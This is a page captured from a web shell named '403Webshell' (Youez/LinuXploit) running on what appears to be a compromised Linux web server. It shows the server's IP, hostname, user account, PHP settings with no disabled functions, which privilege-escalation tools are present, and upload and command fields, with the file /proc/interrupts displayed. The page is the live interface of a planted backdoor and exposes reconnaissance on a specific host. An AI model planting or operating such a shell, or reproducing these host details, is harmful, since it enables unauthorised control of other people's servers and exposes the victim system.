403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951573/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951573/root/proc/interrupts
           CPU0       CPU1       CPU2       CPU3       
  0:         34          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          9   IO-APIC   1-edge      i8042
  6:          0          3          0          0   IO-APIC   6-edge      floppy
  8:          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0   IO-APIC   9-fasteoi   acpi
 11:     380930          0          0          0   IO-APIC  11-fasteoi   uhci_hcd:usb1, virtio3
 12:          0          0         15          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0    4719215   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0   PCI-MSI 475136-edge      virtio2-config
 25:          0          0          0          0   PCI-MSI 475137-edge      virtio2-control
 26:          0          0          0          0   PCI-MSI 475138-edge      virtio2-event
 27:  444693443          0          0          0   PCI-MSI 475139-edge      virtio2-request
 28:          0  445351234          0          0   PCI-MSI 475140-edge      virtio2-request
 29:          0          0  444293998          0   PCI-MSI 475141-edge      virtio2-request
 30:          0          0          0  447252241   PCI-MSI 475142-edge      virtio2-request
 31:          0          0          0          0   PCI-MSI 49152-edge      virtio0-config
 32:   22815793          0          0          0   PCI-MSI 49153-edge      virtio0-input.0
 33:   19656994          1          0          0   PCI-MSI 49154-edge      virtio0-output.0
 34:          0   23468779          1          0   PCI-MSI 49155-edge      virtio0-input.1
 35:          0   19566459          0          1   PCI-MSI 49156-edge      virtio0-output.1
 36:          1          0   24455648          0   PCI-MSI 49157-edge      virtio0-input.2
 37:          0          1   19578493          0   PCI-MSI 49158-edge      virtio0-output.2
 38:          0          0          1   21531992   PCI-MSI 49159-edge      virtio0-input.3
 39:          0          0          0   19535228   PCI-MSI 49160-edge      virtio0-output.3
 40:          0          0          0          0   PCI-MSI 458752-edge      virtio1-config
 41:          0          0        126          0   PCI-MSI 458753-edge      virtio1-virtqueues
NMI:          0          0          0          0   Non-maskable interrupts
LOC: 1026379177 1029396947 1026739538 1015889824   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:      32027      32998      31376      33160   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES:   32482505   32677432   32067828   32965373   Rescheduling interrupts
CAL: 1288475466 1243272343 1209085836 1205310181   Function call interrupts
TLB:   10023791   10034294    9938017    9520770   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:      15281      15281      15281      15281   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit